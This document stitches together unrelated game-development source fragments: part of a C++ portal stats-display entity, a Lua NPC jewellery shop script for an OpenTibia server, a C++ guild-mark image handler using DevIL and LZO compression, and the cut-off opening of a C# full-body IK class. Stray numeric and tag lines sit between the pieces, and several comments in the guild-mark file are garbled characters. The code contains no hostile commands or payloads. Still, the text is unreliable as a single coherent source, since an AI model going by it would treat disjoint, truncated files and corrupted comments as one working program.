if ( m_bEnabled ) return; // Don't show stats display in non challenge mode! CBasePlayer *pPlayer = UTIL_GetLocalPlayer(); if ( pPlayer && pPlayer->GetBonusChallenge() == 0 ) return; m_bEnabled = true; m_iDisplayObjective = pPlayer->GetBonusChallenge() - 1; // Check if they beat objectives if ( pPlayer->GetBonusProgress() <= m_iBronzeObjective ) m_OnMetBronzeObjective.FireOutput( this, this ); else if ( pPlayer->GetBonusProgress() <= m_iSilverObjective ) m_OnMetSilverObjective.FireOutput( this, this ); else if ( pPlayer->GetBonusProgress() <= m_iGoldObjective ) m_OnMetGoldObjective.FireOutput( this, this ); else m_OnFailedAllObjectives.FireOutput( this, this ); ScreenVisible( true ); } void CPropPortalStatsDisplay::InputDisable( inputdata_t &inputdata ) { Disable(); } void CPropPortalStatsDisplay::InputEnable( inputdata_t &inputdata ) { Enable(); } void CPropPortalStatsDisplay::InputUpdateStats( inputdata_t &inputdata ) { CPortal_Player *pPlayer = (CPortal_Player *)UTIL_GetCommandClient(); if( pPlayer == NULL ) pPlayer = GetPortalPlayer( 1 ); //last ditch effort if( pPlayer ) { m_iNumPortalsPlaced = pPlayer->NumPortalsPlaced(); m_iNumStepsTaken = pPlayer->NumStepsTaken(); m_fNumSecondsTaken = pPlayer->NumSecondsTaken(); // Now that we've recorded it, don't let it change pPlayer->PauseBonusProgress(); } } void CPropPortalStatsDisplay::InputResetPlayerStats( inputdata_t &inputdata ) { CPortal_Player *pPlayer = (CPortal_Player *)UTIL_GetCommandClient(); if( pPlayer == NULL ) pPlayer = GetPortalPlayer( 1 ); //last ditch effort if( pPlayer ) { pPlayer->ResetThisLevelStats(); } } void CPropPortalStatsDisplay::GetControlPanelInfo( int nPanelIndex, const char *&pPanelName ) { pPanelName = "portal_stats_display_screen"; } void CPropPortalStatsDisplay::GetControlPanelClassName( int nPanelIndex, const char *&pPanelName ) { pPanelName = "vgui_screen"; } //----------------------------------------------------------------------------- // This is called by the base object when it's time to spawn the control panels //----------------------------------------------------------------------------- void CPropPortalStatsDisplay::SpawnControlPanels() { char buf[64]; // FIXME: Deal with dynamically resizing control panels? // If we're attached to an entity, spawn control panels on it instead of use CBaseAnimating *pEntityToSpawnOn = this; char *pOrgLL = "statPanel%d_bl"; char *pOrgUR = "statPanel%d_tr"; char *pAttachmentNameLL = pOrgLL; char *pAttachmentNameUR = pOrgUR; Assert( pEntityToSpawnOn ); // Lookup the attachment point... int nPanel; for ( nPanel = 0; true; ++nPanel ) { Q_snprintf( buf, sizeof( buf ), pAttachmentNameLL, nPanel ); int nLLAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nLLAttachmentIndex <= 0) { // Try and use my panels then pEntityToSpawnOn = this; Q_snprintf( buf, sizeof( buf ), pOrgLL, nPanel ); nLLAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nLLAttachmentIndex <= 0) return; } Q_snprintf( buf, sizeof( buf ), pAttachmentNameUR, nPanel ); int nURAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nURAttachmentIndex <= 0) { // Try and use my panels then Q_snprintf( buf, sizeof( buf ), pOrgUR, nPanel ); nURAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nURAttachmentIndex <= 0) return; } const char *pScreenName; GetControlPanelInfo( nPanel, pScreenName ); if (!pScreenName) continue; const char *pScreenClassname; GetControlPanelClassName( nPanel, pScreenClassname ); if ( !pScreenClassname ) continue; // Compute the screen size from the attachment points... matrix3x4_t panelToWorld; pEntityToSpawnOn->GetAttachment( nLLAttachmentIndex, panelToWorld ); matrix3x4_t worldToPanel; MatrixInvert( panelToWorld, worldToPanel ); // Now get the lower right position + transform into panel space Vector lr, lrlocal; pEntityToSpawnOn->GetAttachment( nURAttachmentIndex, panelToWorld ); MatrixGetColumn( panelToWorld, 3, lr ); VectorTransform( lr, worldToPanel, lrlocal ); float flWidth = lrlocal.x; float flHeight = lrlocal.y; CVGuiScreen *pScreen = CreateVGuiScreen( pScreenClassname, pScreenName, pEntityToSpawnOn, this, nLLAttachmentIndex ); pScreen->ChangeTeam( GetTeamNumber() ); pScreen->SetActualSize( flWidth, flHeight ); pScreen->SetActive( true ); pScreen->MakeVisibleOnlyToTeammates( false ); pScreen->SetTransparency( true ); int nScreen = m_hScreens.AddToTail( ); m_hScreens[nScreen].Set( pScreen ); } } void CPropPortalStatsDisplay::RestoreControlPanels( void ) { char buf[64]; // FIXME: Deal with dynamically resizing control panels? // If we're attached to an entity, spawn control panels on it instead of use CBaseAnimating *pEntityToSpawnOn = this; char *pOrgLL = "statPanel%d_bl"; char *pOrgUR = "statPanel%d_tr"; char *pAttachmentNameLL = pOrgLL; char *pAttachmentNameUR = pOrgUR; Assert( pEntityToSpawnOn ); // Lookup the attachment point... int nPanel; for ( nPanel = 0; true; ++nPanel ) { Q_snprintf( buf, sizeof( buf ), pAttachmentNameLL, nPanel ); int nLLAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nLLAttachmentIndex <= 0) { // Try and use my panels then pEntityToSpawnOn = this; Q_snprintf( buf, sizeof( buf ), pOrgLL, nPanel ); nLLAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nLLAttachmentIndex <= 0) return; } Q_snprintf( buf, sizeof( buf ), pAttachmentNameUR, nPanel ); int nURAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nURAttachmentIndex <= 0) { // Try and use my panels then Q_snprintf( buf, sizeof( buf ), pOrgUR, nPanel ); nURAttachmentIndex = pEntityToSpawnOn->LookupAttachment(buf); if (nURAttachmentIndex <= 0) return; } const char *pScreenName; GetControlPanelInfo( nPanel, pScreenName ); if (!pScreenName) continue; const char *pScreenClassname; GetControlPanelClassName( nPanel, pScreenClassname ); if ( !pScreenClassname ) continue; CVGuiScreen *pScreen = (CVGuiScreen *)gEntList.FindEntityByClassname( NULL, pScreenClassname ); while ( pScreen && pScreen->GetOwnerEntity() != this && Q_strcmp( pScreen->GetPanelName(), pScreenName ) == 0 ) { pScreen = (CVGuiScreen *)gEntList.FindEntityByClassname( pScreen, pScreenClassname ); } if ( pScreen ) { int nScreen = m_hScreens.AddToTail( ); m_hScreens[nScreen].Set( pScreen ); } } }
1
0.937844
1
0.937844
game-dev
MEDIA
0.821267
game-dev
0.921635
1
0.921635
opentibiabr/otservbr-global
5,330
data/npc/tezila.lua
local internalNpcName = "Tezila" local npcType = Game.createNpcType(internalNpcName) local npcConfig = {} npcConfig.name = internalNpcName npcConfig.description = internalNpcName npcConfig.health = 100 npcConfig.maxHealth = npcConfig.health npcConfig.walkInterval = 2000 npcConfig.walkRadius = 2 npcConfig.outfit = { lookType = 160, lookHead = 3, lookBody = 92, lookLegs = 91, lookFeet = 128 } npcConfig.flags = { floorchange = false } local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) npcType.onThink = function(npc, interval) npcHandler:onThink(npc, interval) end npcType.onAppear = function(npc, creature) npcHandler:onAppear(npc, creature) end npcType.onDisappear = function(npc, creature) npcHandler:onDisappear(npc, creature) end npcType.onMove = function(npc, creature, fromPosition, toPosition) npcHandler:onMove(npc, creature, fromPosition, toPosition) end npcType.onSay = function(npc, creature, type, message) npcHandler:onSay(npc, creature, type, message) end npcType.onCloseChannel = function(npc, creature) npcHandler:onCloseChannel(npc, creature) end npcHandler:addModule(FocusModule:new(), npcConfig.name, true, true, true) npcConfig.shop = { { itemName = "amber", clientId = 32626, sell = 20000 }, { itemName = "amber with a bug", clientId = 32624, sell = 41000 }, { itemName = "amber with a dragonfly", clientId = 32625, sell = 56000 }, { itemName = "ancient coin", clientId = 24390, sell = 350 }, { itemName = "black pearl", clientId = 3027, buy = 560, sell = 280 }, { itemName = "blue crystal shard", clientId = 16119, sell = 1500 }, { itemName = "blue crystal splinter", clientId = 16124, sell = 400 }, { itemName = "bronze goblet", clientId = 5807, buy = 2000 }, { itemName = "brown crystal splinter", clientId = 16123, sell = 400 }, { itemName = "brown giant shimmering pearl", clientId = 282, sell = 3000 }, { itemName = "coral brooch", clientId = 24391, sell = 750 }, { itemName = "crunor idol", clientId = 30055, sell = 30000 }, { itemName = "cyan crystal fragment", clientId = 16125, sell = 800 }, { itemName = "dragon figurine", clientId = 30053, sell = 45000 }, { itemName = "gemmed figurine", clientId = 24392, sell = 3500 }, { itemName = "giant amethyst", clientId = 30061, sell = 60000 }, { itemName = "giant emerald", clientId = 30060, sell = 90000 }, { itemName = "giant ruby", clientId = 30059, sell = 70000 }, { itemName = "giant sapphire", clientId = 30061, sell = 50000 }, { itemName = "giant topaz", clientId = 32623, sell = 80000 }, { itemName = "gold ingot", clientId = 9058, sell = 5000 }, { itemName = "gold nugget", clientId = 3040, sell = 850 }, { itemName = "golden amulet", clientId = 3013, buy = 6600 }, { itemName = "golden goblet", clientId = 5805, buy = 5000 }, { itemName = "green crystal fragment", clientId = 16127, sell = 800 }, { itemName = "green crystal shard", clientId = 16121, sell = 1500 }, { itemName = "green crystal splinter", clientId = 16122, sell = 400 }, { itemName = "green giant shimmering pearl", clientId = 281, sell = 3000 }, { itemName = "lion figurine", clientId = 33781, sell = 10000 }, { itemName = "onyx chip", clientId = 22193, sell = 400 }, { itemName = "opal", clientId = 22194, sell = 500 }, { itemName = "ornate locket", clientId = 30056, sell = 18000 }, { itemName = "prismatic quartz", clientId = 24962, sell = 450 }, { itemName = "red crystal fragment", clientId = 16126, sell = 800 }, { itemName = "ruby necklace", clientId = 3016, buy = 3560 }, { itemName = "silver goblet", clientId = 5806, buy = 3000 }, { itemName = "skull coin", clientId = 32583, sell = 12000 }, { itemName = "small amethyst", clientId = 3033, buy = 400, sell = 200 }, { itemName = "small diamond", clientId = 3028, buy = 600, sell = 300 }, { itemName = "small emerald", clientId = 3032, buy = 500, sell = 250 }, { itemName = "small enchanted amethyst", clientId = 678, sell = 200 }, { itemName = "small enchanted emerald", clientId = 677, sell = 250 }, { itemName = "small enchanted ruby", clientId = 676, sell = 250 }, { itemName = "small enchanted sapphire", clientId = 675, sell = 250 }, { itemName = "small ruby", clientId = 3030, buy = 500, sell = 250 }, { itemName = "small sapphire", clientId = 3029, buy = 500, sell = 250 }, { itemName = "small topaz", clientId = 9057, sell = 200 }, { itemName = "tiger eye", clientId = 24961, sell = 350 }, { itemName = "unicorn figurine", clientId = 30054, sell = 50000 }, { itemName = "violet crystal shard", clientId = 16120, sell = 1500 }, { itemName = "wedding ring", clientId = 3004, buy = 990 }, { itemName = "white silk flower", clientId = 34008, sell = 9000 }, { itemName = "white pearl", clientId = 3026, buy = 320 } } -- On buy npc shop message npcType.onBuyItem = function(npc, player, itemId, subType, amount, ignore, inBackpacks, totalCost) npc:sellItem(player, itemId, amount, subType, 0, ignore, inBackpacks) end -- On sell npc shop message npcType.onSellItem = function(npc, player, itemId, subtype, amount, ignore, name, totalCost) player:sendTextMessage(MESSAGE_INFO_DESCR, string.format("Sold %ix %s for %i gold.", amount, name, totalCost)) end -- On check npc shop message (look item) npcType.onCheckItem = function(npc, player, clientId, subType) end npcType:register(npcConfig)
1
0.695023
1
0.695023
game-dev
MEDIA
0.862785
game-dev
0.519803
1
0.519803
cCorax2/Source_code
7,610
game/MarkImage.cpp
#include "stdafx.h" #include "MarkImage.h" #include "crc32.h" #include "lzo_manager.h" #define CLZO LZOManager CGuildMarkImage * NewMarkImage() { return M2_NEW CGuildMarkImage; } void DeleteMarkImage(CGuildMarkImage * pkImage) { M2_DELETE(pkImage); } CGuildMarkImage::CGuildMarkImage() : m_uImg(INVALID_HANDLE) { memset( &m_apxImage, 0, sizeof(m_apxImage) ); } CGuildMarkImage::~CGuildMarkImage() { Destroy(); } void CGuildMarkImage::Destroy() { if (INVALID_HANDLE == m_uImg) return; ilDeleteImages(1, &m_uImg); m_uImg = INVALID_HANDLE; } void CGuildMarkImage::Create() { if (INVALID_HANDLE != m_uImg) return; ilGenImages(1, &m_uImg); } bool CGuildMarkImage::Save(const char* c_szFileName) { ilEnable(IL_FILE_OVERWRITE); ilBindImage(m_uImg); if (!ilSave(IL_TGA, (const ILstring)c_szFileName)) return false; return true; } bool CGuildMarkImage::Build(const char * c_szFileName) { sys_log(0, "GuildMarkImage: creating new file %s", c_szFileName); Destroy(); Create(); ilBindImage(m_uImg); ilEnable(IL_ORIGIN_SET); ilOriginFunc(IL_ORIGIN_UPPER_LEFT); BYTE * data = (BYTE *) malloc(sizeof(Pixel) * WIDTH * HEIGHT); memset(data, 0, sizeof(Pixel) * WIDTH * HEIGHT); if (!ilTexImage(WIDTH, HEIGHT, 1, 4, IL_BGRA, IL_UNSIGNED_BYTE, data)) { sys_err("GuildMarkImage: cannot initialize image"); return false; } free(data); ilEnable(IL_FILE_OVERWRITE); if (!ilSave(IL_TGA, (const ILstring)c_szFileName)) return false; return true; } bool CGuildMarkImage::Load(const char * c_szFileName) { Destroy(); Create(); ilBindImage(m_uImg); ilEnable(IL_ORIGIN_SET); ilOriginFunc(IL_ORIGIN_UPPER_LEFT); if (!ilLoad(IL_TYPE_UNKNOWN, (const ILstring) c_szFileName)) { sys_err("GuildMarkImage: %s cannot open file.", c_szFileName); return false; } if (ilGetInteger(IL_IMAGE_WIDTH) != WIDTH) { sys_err("GuildMarkImage: %s width must be %u", c_szFileName, WIDTH); return false; } if (ilGetInteger(IL_IMAGE_HEIGHT) != HEIGHT) { sys_err("GuildMarkImage: %s height must be %u", c_szFileName, HEIGHT); return false; } ilConvertImage(IL_BGRA, IL_UNSIGNED_BYTE); BuildAllBlocks(); return true; } void CGuildMarkImage::PutData(UINT x, UINT y, UINT width, UINT height, void * data) { ilBindImage(m_uImg); ilSetPixels(x, y, 0, width, height, 1, IL_BGRA, IL_UNSIGNED_BYTE, data); } void CGuildMarkImage::GetData(UINT x, UINT y, UINT width, UINT height, void * data) { ilBindImage(m_uImg); ilCopyPixels(x, y, 0, width, height, 1, IL_BGRA, IL_UNSIGNED_BYTE, data); } // ̹ = 512x512 // = ũ 4 x 4 // ũ = 16 x 12 // ̹ = 8 x 10 // SERVER bool CGuildMarkImage::SaveMark(DWORD posMark, BYTE * pbImage) { if (posMark >= MARK_TOTAL_COUNT) { sys_err("GuildMarkImage::CopyMarkFromData: Invalid mark position %u", posMark); return false; } // ũ ü ̹ ׸. DWORD colMark = posMark % MARK_COL_COUNT; DWORD rowMark = posMark / MARK_COL_COUNT; printf("PutMark pos %u %ux%u\n", posMark, colMark * SGuildMark::WIDTH, rowMark * SGuildMark::HEIGHT); PutData(colMark * SGuildMark::WIDTH, rowMark * SGuildMark::HEIGHT, SGuildMark::WIDTH, SGuildMark::HEIGHT, pbImage); // ׷ Ʈ DWORD rowBlock = rowMark / SGuildMarkBlock::MARK_PER_BLOCK_HEIGHT; DWORD colBlock = colMark / SGuildMarkBlock::MARK_PER_BLOCK_WIDTH; Pixel apxBuf[SGuildMarkBlock::SIZE]; GetData(colBlock * SGuildMarkBlock::WIDTH, rowBlock * SGuildMarkBlock::HEIGHT, SGuildMarkBlock::WIDTH, SGuildMarkBlock::HEIGHT, apxBuf); m_aakBlock[rowBlock][colBlock].Compress(apxBuf); return true; } bool CGuildMarkImage::DeleteMark(DWORD posMark) { Pixel image[SGuildMark::SIZE]; memset(&image, 0, sizeof(image)); return SaveMark(posMark, (BYTE *) &image); } // CLIENT bool CGuildMarkImage::SaveBlockFromCompressedData(DWORD posBlock, const BYTE * pbComp, DWORD dwCompSize) { if (posBlock >= BLOCK_TOTAL_COUNT) return false; Pixel apxBuf[SGuildMarkBlock::SIZE]; lzo_uint sizeBuf = sizeof(apxBuf); if (LZO_E_OK != lzo1x_decompress_safe(pbComp, dwCompSize, (BYTE *) apxBuf, &sizeBuf, CLZO::Instance().GetWorkMemory())) { sys_err("GuildMarkImage::CopyBlockFromCompressedData: cannot decompress, compressed size = %u", dwCompSize); return false; } if (sizeBuf != sizeof(apxBuf)) { sys_err("GuildMarkImage::CopyBlockFromCompressedData: image corrupted, decompressed size = %u", sizeBuf); return false; } DWORD rowBlock = posBlock / BLOCK_COL_COUNT; DWORD colBlock = posBlock % BLOCK_COL_COUNT; PutData(colBlock * SGuildMarkBlock::WIDTH, rowBlock * SGuildMarkBlock::HEIGHT, SGuildMarkBlock::WIDTH, SGuildMarkBlock::HEIGHT, apxBuf); m_aakBlock[rowBlock][colBlock].CopyFrom(pbComp, dwCompSize, GetCRC32((const char *) apxBuf, sizeof(Pixel) * SGuildMarkBlock::SIZE)); return true; } void CGuildMarkImage::BuildAllBlocks() // ̹ ü ȭ { Pixel apxBuf[SGuildMarkBlock::SIZE]; sys_log(0, "GuildMarkImage::BuildAllBlocks"); for (UINT row = 0; row < BLOCK_ROW_COUNT; ++row) for (UINT col = 0; col < BLOCK_COL_COUNT; ++col) { GetData(col * SGuildMarkBlock::WIDTH, row * SGuildMarkBlock::HEIGHT, SGuildMarkBlock::WIDTH, SGuildMarkBlock::HEIGHT, apxBuf); m_aakBlock[row][col].Compress(apxBuf); } } DWORD CGuildMarkImage::GetEmptyPosition() { SGuildMark kMark; for (DWORD row = 0; row < MARK_ROW_COUNT; ++row) { for (DWORD col = 0; col < MARK_COL_COUNT; ++col) { GetData(col * SGuildMark::WIDTH, row * SGuildMark::HEIGHT, SGuildMark::WIDTH, SGuildMark::HEIGHT, kMark.m_apxBuf); if (kMark.IsEmpty()) return (row * MARK_COL_COUNT + col); } } return INVALID_MARK_POSITION; } void CGuildMarkImage::GetDiffBlocks(const DWORD * crcList, std::map<BYTE, const SGuildMarkBlock *> & mapDiffBlocks) { BYTE posBlock = 0; for (DWORD row = 0; row < BLOCK_ROW_COUNT; ++row) for (DWORD col = 0; col < BLOCK_COL_COUNT; ++col) { if (m_aakBlock[row][col].m_crc != *crcList) { mapDiffBlocks.insert(std::map<BYTE, const SGuildMarkBlock *>::value_type(posBlock, &m_aakBlock[row][col])); } ++crcList; ++posBlock; } } void CGuildMarkImage::GetBlockCRCList(DWORD * crcList) { for (DWORD row = 0; row < BLOCK_ROW_COUNT; ++row) for (DWORD col = 0; col < BLOCK_COL_COUNT; ++col) *(crcList++) = m_aakBlock[row][col].GetCRC(); } //////////////////////////////////////////////////////////////////////////////// void SGuildMark::Clear() { for (DWORD iPixel = 0; iPixel < SIZE; ++iPixel) m_apxBuf[iPixel] = 0xff000000; } bool SGuildMark::IsEmpty() { for (DWORD iPixel = 0; iPixel < SIZE; ++iPixel) if (m_apxBuf[iPixel] != 0x00000000) return false; return true; } //////////////////////////////////////////////////////////////////////////////// DWORD SGuildMarkBlock::GetCRC() const { return m_crc; } void SGuildMarkBlock::CopyFrom(const BYTE * pbCompBuf, DWORD dwCompSize, DWORD crc) { if (dwCompSize > MAX_COMP_SIZE) return; m_sizeCompBuf = dwCompSize; thecore_memcpy(m_abCompBuf, pbCompBuf, dwCompSize); m_crc = crc; //printf("SGuildMarkBlock::CopyFrom: %u > %u crc %u\n", sizeof(Pixel) * SGuildMarkBlock::SIZE, m_sizeCompBuf, m_crc); } void SGuildMarkBlock::Compress(const Pixel * pxBuf) { m_sizeCompBuf = MAX_COMP_SIZE; if (LZO_E_OK != lzo1x_1_compress((const BYTE *) pxBuf, sizeof(Pixel) * SGuildMarkBlock::SIZE, m_abCompBuf, &m_sizeCompBuf, CLZO::Instance().GetWorkMemory())) { sys_err("SGuildMarkBlock::Compress: Error! %u > %u", sizeof(Pixel) * SGuildMarkBlock::SIZE, m_sizeCompBuf); return; } //sys_log(0, "SGuildMarkBlock::Compress %u > %u", sizeof(Pixel) * SGuildMarkBlock::SIZE, m_sizeCompBuf); m_crc = GetCRC32((const char *) pxBuf, sizeof(Pixel) * SGuildMarkBlock::SIZE); }
1
0.945377
1
0.945377
game-dev
MEDIA
0.517901
game-dev,graphics-rendering
0.9312
1
0.9312
utilForever/RosettaStone
2,991
Sources/Rosetta/PlayMode/Managers/TriggerManager.cpp
// Copyright (c) 2017-2024 Chris Ohk // We are making my contributions/submissions to this project solely in our // personal capacity and are not conveying any rights to any intellectual // property of any third parties. #include <Rosetta/PlayMode/Managers/TriggerManager.hpp> namespace RosettaStone::PlayMode { void TriggerManager::OnStartGameTrigger() { startGameTrigger(nullptr); } void TriggerManager::OnStartTurnTrigger(Entity* sender) { startTurnTrigger(sender); } void TriggerManager::OnEndTurnTrigger(Entity* sender) { endTurnTrigger(sender); } void TriggerManager::OnAddCardTrigger(Entity* sender) { addCardTrigger(sender); } void TriggerManager::OnDrawCardTrigger(Entity* sender) { drawCardTrigger(sender); } void TriggerManager::OnAfterDrawCardTrigger(Entity* sender) { afterDrawCardTrigger(sender); } void TriggerManager::OnPlayCardTrigger(Entity* sender) { playCardTrigger(sender); } void TriggerManager::OnAfterPlayCardTrigger(Entity* sender) { afterPlayCardTrigger(sender); } void TriggerManager::OnPlayMinionTrigger(Entity* sender) { playMinionTrigger(sender); } void TriggerManager::OnAfterPlayMinionTrigger(Entity* sender) { afterPlayMinionTrigger(sender); } void TriggerManager::OnCastSpellTrigger(Entity* sender) { castSpellTrigger(sender); } void TriggerManager::OnAfterCastTrigger(Entity* sender) { afterCastTrigger(sender); } void TriggerManager::OnSecretRevealedTrigger(Entity* sender) { secretRevealedTrigger(sender); } void TriggerManager::OnZoneTrigger(Entity* sender) { zoneTrigger(sender); } void TriggerManager::OnGiveHealTrigger(Entity* sender) { giveHealTrigger(sender); } void TriggerManager::OnTakeHealTrigger(Entity* sender) { takeHealTrigger(sender); } void TriggerManager::OnAttackTrigger(Entity* sender) { attackTrigger(sender); } void TriggerManager::OnAfterAttackTrigger(Entity* sender) { afterAttackTrigger(sender); } void TriggerManager::OnSummonTrigger(Entity* sender) { summonTrigger(sender); } void TriggerManager::OnAfterSummonTrigger(Entity* sender) { afterSummonTrigger(sender); } void TriggerManager::OnDealDamageTrigger(Entity* sender) { dealDamageTrigger(sender); } void TriggerManager::OnTakeDamageTrigger(Entity* sender) { takeDamageTrigger(sender); } void TriggerManager::OnTargetTrigger(Entity* sender) { targetTrigger(sender); } void TriggerManager::OnDiscardTrigger(Entity* sender) { discardTrigger(sender); } void TriggerManager::OnDeathTrigger(Entity* sender) { deathTrigger(sender); } void TriggerManager::OnInspireTrigger(Entity* sender) { inspireTrigger(sender); } void TriggerManager::OnEquipWeaponTrigger(Entity* sender) { equipWeaponTrigger(sender); } void TriggerManager::OnShuffleIntoDeckTrigger(Entity* sender) { shuffleIntoDeckTrigger(sender); } void TriggerManager::OnManaCrystalTrigger(Entity* sender) { manaCrystalTrigger(sender); } } // namespace RosettaStone::PlayMode
1
0.905514
1
0.905514
game-dev
MEDIA
0.375593
game-dev
0.701904
1
0.701904
arogozhnikov/arogozhnikov.github.io
4,171
scripts/hmc_demonstration/mcmc.js
"use strict"; class MCSampler { // both energy and position accept one argument - vector. // in the case of demonstration vector can have only one or two variables. constructor(distribution, x_start, y_start) { this.distribution = distribution; this.positions = []; this.positions.push([x_start, y_start]); this.T = 1; this.random = new RandomGenerator(42); } energy(x){return this.distribution.energy(x);} grad(x){return this.distribution.gradient(x);} set_temperature(T){ this.T = T; } to_3d_point(position) { return [position[0], position[1], this.energy(position)]; } // metropolis - hastings generate_mh(spread=0.1) { let position_old = this.positions[this.positions.length - 1]; let position_new = [ position_old[0] + this.random.random_normal(0, 1) * spread, position_old[1] + this.random.random_normal(0, 1) * spread ]; let energy_old = this.energy(position_old); let energy_new = this.energy(position_new); let reject = this.random.random() > Math.exp((energy_old - energy_new) / this.T); let result; if(reject){ result = clone(position_old); } else { result = clone(position_new); } this.positions.push(result); // return final position, candidate, and reject solution return [this.to_3d_point(result), this.to_3d_point(position_new), reject]; } leapfrog_step(position, momentum, epsilon, iteration_alpha=1., mass=1.) { momentum = VectorUtils.multiply(momentum, Math.sqrt(iteration_alpha)); position = VectorUtils.add_with_coeffs(position, momentum, 1., epsilon / 2. / mass); let gradient = this.grad(position); momentum = VectorUtils.add_with_coeffs(momentum, gradient, 1., - epsilon); position = VectorUtils.add_with_coeffs(position, momentum, 1., epsilon / 2. / mass); momentum = VectorUtils.multiply(momentum, Math.sqrt(iteration_alpha)); return [position, momentum]; } // hamiltonian monte-carlo // step_size = epsilon in Neal's paper // n_steps = L in Neal's paper // tempering_alpha - alpha from Neal's paper generate_hmc({suppress_reject=false, step_size=0.0513, n_steps=60, tempering_alpha=1.}={}) { let n_steps_ = Math.max(1, this.random.random_normal(n_steps, Math.sqrt(n_steps))); let [x_old, y_old] = this.positions[this.positions.length - 1]; let position = [x_old, y_old]; let start_position = position; let momentum = [this.random.random_normal(0, 1) * Math.sqrt(this.T), this.random.random_normal(0, 1) * Math.sqrt(this.T)]; let energy_old = this.energy(position) + VectorUtils.norm_squared(momentum) / 2.; let trajectory = [[position, momentum]]; for(let iteration=0; iteration < n_steps_; iteration++) { // alpha in the first half of trajectory, 1 / alpha in second, 1 in the middle let iteration_alpha = Math.pow(tempering_alpha, -Math.sign(2 * iteration + 1 - n_steps_) ); // console.log('alpha', iteration, iteration_alpha); [position, momentum] = this.leapfrog_step(position, momentum, step_size, iteration_alpha); trajectory.push([position, momentum]); } let energy_new = this.energy(position) + VectorUtils.norm_squared(momentum) / 2.; let reject = this.random.random() > Math.exp((energy_old - energy_new) / this.T); if(suppress_reject) { reject = false; } let result; if(reject){ result = start_position; } else { result = position; } this.positions.push(result); let trajectory_3d = trajectory.map((x) => this.to_3d_point(x[0])); // return final position, candidate, and reject solution return [this.to_3d_point(result), this.to_3d_point(position), reject, trajectory_3d]; } get_3d_trajectory(){ return this.positions.map((x) => this.to_3d_point(x)); } }
1
0.792714
1
0.792714
game-dev
MEDIA
0.516274
game-dev
0.957394
1
0.957394
Stereoarts/SAFullBodyIK
103,740
Scripts/FullBodyIK/BodyIK.cs
// Copyright (c) 2016 Nora // Released under the MIT license // http://opensource.org/licenses/mit-license.php #if SAFULLBODYIK_DEBUG //#define SAFULLBODYIK_DEBUG_DETAIL_SOLVETORSO //#define SAFULLBODYIK_DEBUG_DETAIL_SOLVELEGS #endif using UnityEngine; namespace SA { public partial class FullBodyIK { public class BodyIK { LimbIK[] _limbIK; // for UpperSolve. (Presolve Shoulder / Elbow) Bone _hipsBone; // Null accepted. Bone[] _spineBones; // Null accepted. bool[] _spineEnabled; // Null accepted. Matrix3x3[] _spinePrevCenterArmToChildBasis; // Null accepted. Matrix3x3[] _spineCenterArmToChildBasis; // Null accepted. Bone _spineBone; // Null accepted. Bone _spineUBone; // Null accepted. Bone _neckBone; // Null accepted. Bone _headBone; // Null accepted. Bone[] _kneeBones; Bone[] _elbowBones; Bone[] _legBones; // Null accepted. Bone[] _shoulderBones; // Null accepted. Bone[] _armBones; // Null accepted. Bone[] _nearArmBones; // _shouderBones or _armBones float[] _spineDirXRate; Effector _hipsEffector; Effector _neckEffector; Effector _headEffector; Effector _eyesEffector; Effector[] _armEffectors = new Effector[2]; Effector[] _elbowEffectors = new Effector[2]; Effector[] _wristEffectors = new Effector[2]; Effector[] _kneeEffectors = new Effector[2]; Effector[] _footEffectors = new Effector[2]; Vector3 _defaultCenterLegPos = Vector3.zero; Matrix3x3 _centerLegBoneBasis = Matrix3x3.identity; Matrix3x3 _centerLegBoneBasisInv = Matrix3x3.identity; Matrix3x3 _centerLegToArmBasis = Matrix3x3.identity; // dirX = armPos[1] - armPos[0] or shoulderPos[1] - shoulderPos[0], dirY = centerArmPos - centerLegPos Matrix3x3 _centerLegToArmBasisInv = Matrix3x3.identity; // _centerLegToArmBasis.transpose Matrix3x3 _centerLegToArmBoneToBaseBasis = Matrix3x3.identity; Matrix3x3 _centerLegToArmBaseToBoneBasis = Matrix3x3.identity; float[] _shoulderToArmLength = new float[2]; bool[] _shouderLocalAxisYInv = new bool[2]; FastLength[] _elbowEffectorMaxLength = new FastLength[2]; FastLength[] _wristEffectorMaxLength = new FastLength[2]; FastLength[] _kneeEffectorMaxLength = new FastLength[2]; FastLength[] _footEffectorMaxLength = new FastLength[2]; public class SolverCaches { public Bone[] armBones; public Bone[] shoulderBones; public Bone[] nearArmBones; public float armToArmLen; public float nearArmToNearArmLen; public float[] shoulderToArmLength; public float[] nearArmToNeckLength = new float[2]; public float neckToHeadLength; public float neckPull = 0.0f; public float headPull = 0.0f; public float eyesRate = 0.0f; public float neckHeadPull = 0.0f; public float[] armPull = new float[2]; public float[] elbowPull = new float[2]; public float[] wristPull = new float[2]; public float[] kneePull = new float[2]; public float[] footPull = new float[2]; public float[] fullArmPull = new float[2]; // arm + elbow + wrist, max 1.0 public float[] limbLegPull = new float[2]; // knee + foot, max 1.0 public float[] armToElbowPull = new float[2]; // pull : arm / elbow public float[] armToWristPull = new float[2]; // pull : arm / wrist public float[] neckHeadToFullArmPull = new float[2]; // pull : (neck + head) / (arm + elbow + wrist) public float limbArmRate = 0.0f; public float limbLegRate = 0.0f; public float armToLegRate = 0.0f; public Matrix3x3 centerLegToNearArmBasis = Matrix3x3.identity; // dirX = armPos[1] - armPos[0] or shoulderPos[1] - shoulderPos[0], dirY = centerArmPos - centerLegPos public Matrix3x3 centerLegToNearArmBasisInv = Matrix3x3.identity; // centerLegToNearArmBasis.transpose public Matrix3x3 centerLegToNaerArmBoneToBaseBasis = Matrix3x3.identity; public Matrix3x3 centerLegToNaerArmBaseToBoneBasis = Matrix3x3.identity; public Vector3 defaultCenterLegPos = Vector3.zero; } SolverCaches _solverCaches = new SolverCaches(); Vector3 _defaultCenterArmPos = Vector3.zero; float _defaultCenterLegLen; // LeftLeg to RightLeg Length. float _defaultCenterLegHalfLen; // LeftLeg to RightLeg Length / 2. float _defaultNearArmToNearArmLen = 0.0f; float _defaultCenterLegToCeterArmLen = 0.0f; Vector3 _defaultCenterEyePos = Vector3.zero; SolverInternal _solverInternal; Settings _settings; InternalValues _internalValues; public BodyIK( FullBodyIK 